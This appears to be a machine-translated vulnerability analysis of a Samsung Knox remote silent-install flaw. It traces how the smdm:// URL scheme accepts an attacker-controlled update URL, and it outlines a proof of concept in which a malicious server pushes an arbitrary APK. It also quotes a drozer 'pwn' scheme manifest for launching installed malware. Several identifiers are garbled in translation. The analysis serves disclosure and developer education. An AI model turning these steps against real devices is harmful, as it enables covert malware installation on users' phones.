Source of vulnerability
In mid November, Samsung mobile phone was exposed a serious security vulnerability by foreign security researchers, which affected all mobile phone systems supporting Knox, such as Galaxy S5, S4 mini, note 3, note 4 and ACE 4. Some Galaxy S5 and note 4 have fixed the vulnerability.
Vulnerability
By using this vulnerability, a remote attacker can construct a malicious web page to trick the user to update the mobile phone system. When the user updates the system, arbitrary malicious applications will be installed on the user's mobile phone.
Cause of leak
The research results from the implementation of the insecure update mechanism of universal mdmclient, which is related to the security solution of Samsung Knox. The system uses a custom scheme: SMDM, through which application updates can be triggered. However, Samsung did not do the self upgrade package name verification mechanism, which led to the installation of arbitrary applications in the update process.
Bug repair
The official fix is very simple, that is, the package name is verified during self upgrade.
In Android, the package name is the only identifier. An Android system cannot have two applications with the same package name at the same time. When the signatures of two applications with the same package name are different, the installation will not be overwritten. In this way, it can avoid being attacked by the man in the middle when the application is upgraded, and replace it with a malicious application.
We tested the applications in the market, and found that 90% of the applications did not use the self upgrade verification package name mechanism, hoping to learn from Samsung's lessons and develop a more secure and robust app.
Detailed analysis
First of all, we will pull out the vulnerability application for analysis to see how the application deals with the SMDM protocol.
Command: ADB pull / system / APP / universalmdmclient.apk / home / xxx / desktop / (no root permission required)
adb pull/system/app/UniversalMDMClient.apk /home/XXX/Desktop/
After decompilation, it is found that there is such an activity in the androidmanifest.xml file:
The activity's intent filter defines a scheme: SMDM, and the category is android.intent.category.browtable. So when the application receives the URL of the SMDM protocol, the activity will be awakened for processing. So how is this activity handled? Take a look at the relevant code of this activity.
Navigate to the program execution entry oncreate() method.
You can see that this function calls the V method first. The implementation of V method is as follows:
Obviously, the program will check whether there is preetag.xml in the local sharedpreference (this generally exists in the application data directory, here is / data / data / com. Sec. Enterprise. Knox. Cloudmdm. Smdms / shared_prefs /), and return the value of preetag if there is one.
Then continue to look at the oncreate() method. Here we will judge whether preetag exists. If it exists, we will call the finish() method to end the execution. By default, preetag.xml does not exist.
Next, the data in intent will be obtained, and the format of intent is the scheme format defined in intent filter: SMDM: / /. The data in intent includes: seg_url, update_url, email, mdm_token, program and quickstart_url. These data exist in the form of key value pairs.
Then there is the processing of SEG UU URL and program.
Next, launch activity. A (this. Getapplicationcontext(), V1, V2, V3, V4, V5, V6, V7);
The positioning a method is realized as follows:
This code is to store these parameters obtained from intent into the sharedpreference, corresponding to the launchparameters.xml file under the local application directory.
Then the program will get two values, currentprogram and launch program. If the current program is null or the current program and launch program are equal, it means that this activity is running for the first time without processing. Otherwise, cloudmdmenrollmentactivity will be called for processing. This activity is the MDM registration related interface. It has little to do with the vulnerability, so no detailed analysis will be made. Then there will be a dialog box to detect the update, which cannot be cancelled, this.wy.setcancelable (false);
The core.fl(). Fq() method is implemented as follows:
This code is responsible for checking whether the update is currently in progress. If not, call core.ph.a (new core $1 (this)); the code is implemented as follows:
This code is very confusing. You can't guess the general meaning from the name alone. You need to follow several functions to make it clear. This code will check the data connection. If there is an update in progress, delete it. Then get the update address from the sharedpreference file m.xml, and add / latest after the address. And the update address obtained in m.xml is the udpdate? URL obtained from intent above, so this address can be controlled by the attacker.
This. H (a.qx, "UMC. APK"); after that, the code implementation is as follows:
Here, a head HTTP request will be sent to the URL controlled by the attacker, and the different states of the request will be handled by a $1 class. The implementation code of this class is as follows:
Of course, the most important thing here is the onsuccess () method, which will check Etag, content length and x-amz-meta-apk-version in the header. The x-amz-meta-apk-version value in the header is compared with the version of the current universal MDMA application APK package. If the version number of x-amz-meta-apk-version in the header is greater than the current APK version, V0 will be set to 1, that is, it needs to be updated.
At this time, the user's mobile phone will pop up a pop-up box to prompt for a new update. If the user clicks OK, he will send a get request to get the APK update address, and then call onsuccess() method in the com.sec.enterprise.knox.cloudmdm.smdms.install. A class.
Continue to follow the FX () and FY () methods. I decompiled them with Jeb. The FX method is empty, and the FY method is implemented as follows:
Obviously the update thread is on.
The update thread will call to execute installapk(), and installapk() will call installapplication(), the function of which is to disable package verification (prevent Google scan APK from installing APK) and then restart package verification. The confusion is quite serious. It needs to be followed by several functions. No code will be pasted here.
The above is the entire client processing logic. The downloaded APK is neither authenticated nor shows the user the requested permission. Therefore, this vulnerability can be used by attackers to install arbitrary malicious programs.
Real attacks in the real world
First, we verify the whole process of the vulnerability, test environment: Galaxy S4 gt-9508, Android 4.4.2 system.
The POC principle is simple:
Write a server in python (or other languages) to respond to client requests and provide malicious apks. When the attacker accesses the URL update of the attacker, the specific format scheme (SMDM: / / meow? Update [url = http: / / your server) will trigger the vulnerable application for parsing, and finally it will be downloaded and installed to any application specified by the server.
Python server code:
The vulnerability demonstration video is attached below: http://v.youku.com/v'show/id'xody0mdm2otgw.html
In real world attacks, malicious applications need to be started after they are installed to trigger malicious code and achieve other in-depth attacks. If the browser supports the intent scheme URI, it is generally handled in three steps:
1. Use intent.parseuri to parse the URI and get the original intent object;
2. Set filtering rules for the intent object. Different browsers have different strategies
3. Send intent through context.startactivityifneeded or context.startactivity;
In this way, the malicious application will be started and the malicious code will be triggered. The foreign well-known penetration testing framework Metasploit's vulnerability exploit script realizes this process. At present, for this intention protocol vulnerability, the 360 bug catcher (appscan. 360. CN) can directly detect it, and the application developers can check whether there is such a security threat in their own app.
Another way to start malicious code is to register a third-party protocol through app, and start malicious programs through the third-party protocol. At present, the exploit script of drozer, a famous mobile penetration testing framework, has realized this process:
<activity
android:name="com.mwr.dz.PwnActivity">
<intent-filter>
<actionandroid:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT"/>
<categoryandroid:name="android.intent.category.BROWSABLE" />
<dataandroid:scheme="pwn" />
</intent-filter>
</activity>
In APK's mainfest configuration file, a PWN third-party protocol is registered in the system. As long as an address similar to PWN: / / protocol is embedded in the exploit web page, malicious programs can be aroused.
Official patch
If your device still has a bug, you can wait for Samsung's patch or fix it yourself. The fix does not need root permission, just click this link: SMDM: / / patch/
In fact, when clicking this link, the vulnerability program will start, but there is no specified update URL. It will use the default Samsung UMC (Universal MDM client) server http://umc-cdn.secb2b.com:80, which has the latest version of universalmdmclient.apk.
[original: Samsung Knox remote silent installation vulnerability in-depth analysis report by @ 0xr0ot SP editor]